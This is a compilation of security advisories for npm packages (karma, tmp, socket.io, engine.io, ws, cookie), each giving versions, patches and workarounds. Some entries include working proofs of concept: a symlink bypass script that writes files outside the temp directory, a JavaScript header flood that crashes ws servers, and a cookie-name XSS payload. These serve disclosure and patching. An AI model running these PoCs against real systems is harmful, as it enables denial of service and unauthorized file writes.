Version Details and Security Vulnerabilities

karma prior to version 6.3.14 contains a cross-site scripting vulnerability.

Karma before 6.3.16 is vulnerable to Open Redirect due to missing validation of the return_url query parameter.

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Impact

A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.

node:events:502
    throw err; // Unhandled 'error' event
    ^

Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
    at new NodeError (node:internal/errors:405:5)
    at Socket.emit (node:events:500:17)
    at /myapp/node_modules/socket.io/lib/socket.js:531:14
    at process.processTicksAndRejections (node:internal/process/task_queues:77:11) {
  code: 'ERR_UNHANDLED_ERROR',
  context: undefined
}

Affected versions

| Version range | Needs minor update? | |------------------|------------------------------------------------| | 4.6.2...latest | Nothing to do | | 3.0.0...4.6.1 | Please upgrade to socket.io@4.6.2 (at least) | | 2.3.0...2.5.0 | Please upgrade to socket.io@2.5.1 |

Patches

This issue is fixed by https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115, included in socket.io@4.6.2 (released in May 2023).

The fix was backported in the 2.x branch today: https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c

Workarounds

As a workaround for the affected versions of the socket.io package, you can attach a listener for the "error" event:

io.on("connection", (socket) => {
  socket.on("error", () => {
    // ...
  });
});

For more information

If you have any questions or comments about this advisory:

• Open a discussion here

Thanks a lot to Paul Taylor for the responsible disclosure.

References

• https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115
• https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c

Impact

A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.

events.js:292
      throw er; // Unhandled 'error' event
      ^

Error: read ECONNRESET
    at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (internal/streams/destroy.js:106:8)
    at emitErrorCloseNT (internal/streams/destroy.js:74:3)
    at processTicksAndRejections (internal/process/task_queues.js:80:21) {
  errno: -104,
  code: 'ECONNRESET',
  syscall: 'read'
}

This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.

Patches

A fix has been released today (2022/11/20):

| Version range | Fixed version | |-------------------|---------------| | engine.io@3.x.y | 3.6.1 | | engine.io@6.x.y | 6.2.1 |

For socket.io users:

| Version range | engine.io version | Needs minor update? | |-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------| | socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient | | socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x | | socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x | | socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) | | socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) | | socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient | | socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

• Open an issue in engine.io

Thanks to Jonathan Neve for the responsible disclosure.

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

Impact

The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.

A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.

Patches

Upgrade to 0.7.0, which updates the validation for name, path, and domain.

Workarounds

Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.

References

• https://github.com/jshttp/cookie/pull/167

Impact

A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.

TypeError: Cannot convert object to primitive value
       at Socket.emit (node:events:507:25)
       at .../node_modules/socket.io/lib/socket.js:531:14

Patches

A fix has been released today (2023/05/22):

• https://github.com/socketio/socket.io-parser/commit/3b78117bf6ba7e99d7a5cfc1ba54d0477554a7f3, included in socket.io-parser@4.2.3
• https://github.com/socketio/socket.io-parser/commit/2dc3c92622dad113b8676be06f23b1ed46b02ced, included in socket.io-parser@3.4.3

Another fix has been released for the 3.3.x branch:

• https://github.com/socketio/socket.io-parser/commit/ee006607495eca4ec7262ad080dd3a91439a5ba4, included in `socket.io-parser@3.3.4

| socket.io version | socket.io-parser version | Needs minor update? | |---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------| | 4.5.2...latest | ~4.2.0 (ref) | npm audit fix should be sufficient | | 4.1.3...4.5.1 | ~4.1.1 (ref) | Please upgrade to socket.io@4.6.x | | 3.0.5...4.1.2 | ~4.0.3 (ref) | Please upgrade to socket.io@4.6.x | | 3.0.0...3.0.4 | ~4.0.1 (ref) | Please upgrade to socket.io@4.6.x | | 2.3.0...2.5.0 | ~3.4.0 (ref) | npm audit fix should be sufficient |

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

• Open a discussion here

Thanks to @rafax00 for the responsible disclosure.